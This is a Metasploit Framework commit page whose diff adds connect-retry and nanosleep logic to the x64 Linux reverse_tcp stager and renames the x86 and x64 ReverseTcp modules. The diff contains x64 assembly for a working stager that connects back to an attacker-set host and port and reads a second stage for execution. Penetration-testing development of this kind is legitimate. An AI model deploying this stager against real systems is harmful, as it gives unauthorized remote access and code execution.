Skip to content

Commit 70a82b5

Browse files
author
Brent Cook
committed
Land rapid7#8834, add resiliency to x64 linux reverse_tcp stagers
2 parents e3265c4 + df98c2a commit 70a82b5

File tree

5 files changed

+33
-11
lines changed

5 files changed

+33
-11
lines changed

lib/msf/core/payload/linux/reverse_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -14,7 +14,7 @@ module Msf
1414
###
1515

1616

17-
module Payload::Linux::ReverseTcp
17+
module Payload::Linux::ReverseTcp_x86
1818

1919
include Msf::Payload::TransportConfig
2020
include Msf::Payload::Linux

lib/msf/core/payload/linux/x64/reverse_tcp.rb

Lines changed: 28 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -13,8 +13,7 @@ module Msf
1313
#
1414
###
1515

16-
17-
module Payload::Linux::ReverseTcp
16+
module Payload::Linux::ReverseTcp_x64
1817

1918
include Msf::Payload::TransportConfig
2019
include Msf::Payload::Linux
@@ -27,13 +26,12 @@ def generate
2726
port: datastore['LPORT'],
2827
host: datastore['LHOST'],
2928
retry_count: datastore['ReverseConnectRetries'],
30-
reliable: false
29+
sleep_seconds: datastore['StagerRetryWait'],
3130
}
3231

3332
# Generate the advanced stager if we have space
3433
if self.available_space && required_space <= self.available_space
3534
conf[:exitfunk] = datastore['EXITFUNC']
36-
conf[:reliable] = true
3735
end
3836

3937
generate_reverse_tcp(conf)
@@ -83,12 +81,16 @@ def required_space
8381
#
8482
def asm_reverse_tcp(opts={})
8583
# TODO: reliability is coming
86-
retry_count = [opts[:retry_count].to_i, 1].max
84+
retry_count = opts[:retry_count]
8785
reliable = opts[:reliable]
8886
encoded_port = "%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
8987
encoded_host = "%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
88+
seconds = (opts[:sleep_seconds] || 5.0)
89+
sleep_seconds = seconds.to_i
90+
sleep_nanoseconds = (seconds % 1 * 1000000000).to_i
9091

9192
asm = %Q^
93+
mmap:
9294
xor rdi, rdi
9395
push 0x9
9496
pop rax
@@ -103,6 +105,10 @@ def asm_reverse_tcp(opts={})
103105
test rax, rax
104106
js failed
105107
108+
push #{retry_count} ; retry counter
109+
pop r9
110+
111+
create_socket:
106112
push rsi
107113
push rax
108114
push 0x29
@@ -116,6 +122,7 @@ def asm_reverse_tcp(opts={})
116122
test rax, rax
117123
js failed
118124
125+
connect:
119126
xchg rdi, rax
120127
mov rcx, 0x#{encoded_host}#{encoded_port}
121128
push rcx
@@ -126,8 +133,23 @@ def asm_reverse_tcp(opts={})
126133
pop rax
127134
syscall ; connect(3, {sa_family=AF_INET, LPORT, LHOST, 16)
128135
test rax, rax
129-
js failed
136+
jns recv
137+
138+
handle_failure:
139+
dec r9
140+
jz failed
141+
push 0x23
142+
pop rax
143+
push 0x#{sleep_nanoseconds.to_s(16)}
144+
push 0x#{sleep_seconds.to_s(16)}
145+
mov rdi, rsp
146+
xor rsi, rsi
147+
syscall ; sys_nanosleep
148+
test rax, rax
149+
jns create_socket
150+
jmp failed
130151
152+
recv:
131153
pop rcx
132154
pop rsi
133155
pop rdx

modules/payloads/stagers/linux/x64/reverse_tcp.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -8,10 +8,10 @@
88

99
module MetasploitModule
1010

11-
CachedSize = 96
11+
CachedSize = 127
1212

1313
include Msf::Payload::Stager
14-
include Msf::Payload::Linux::ReverseTcp
14+
include Msf::Payload::Linux::ReverseTcp_x64
1515

1616
def initialize(info = {})
1717
super(merge_info(info,

modules/payloads/stagers/linux/x86/reverse_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@ module MetasploitModule
1111
CachedSize = 123
1212

1313
include Msf::Payload::Stager
14-
include Msf::Payload::Linux::ReverseTcp
14+
include Msf::Payload::Linux::ReverseTcp_x86
1515

1616
def initialize(info = {})
1717
super(merge_info(info,

modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@ module MetasploitModule
1111
CachedSize = 166
1212

1313
include Msf::Payload::Stager
14-
include Msf::Payload::Linux::ReverseTcp
14+
include Msf::Payload::Linux::ReverseTcp_x86
1515

1616
def self.handler_type_alias
1717
'reverse_tcp_uuid'

0 commit comments

Comments
 (0)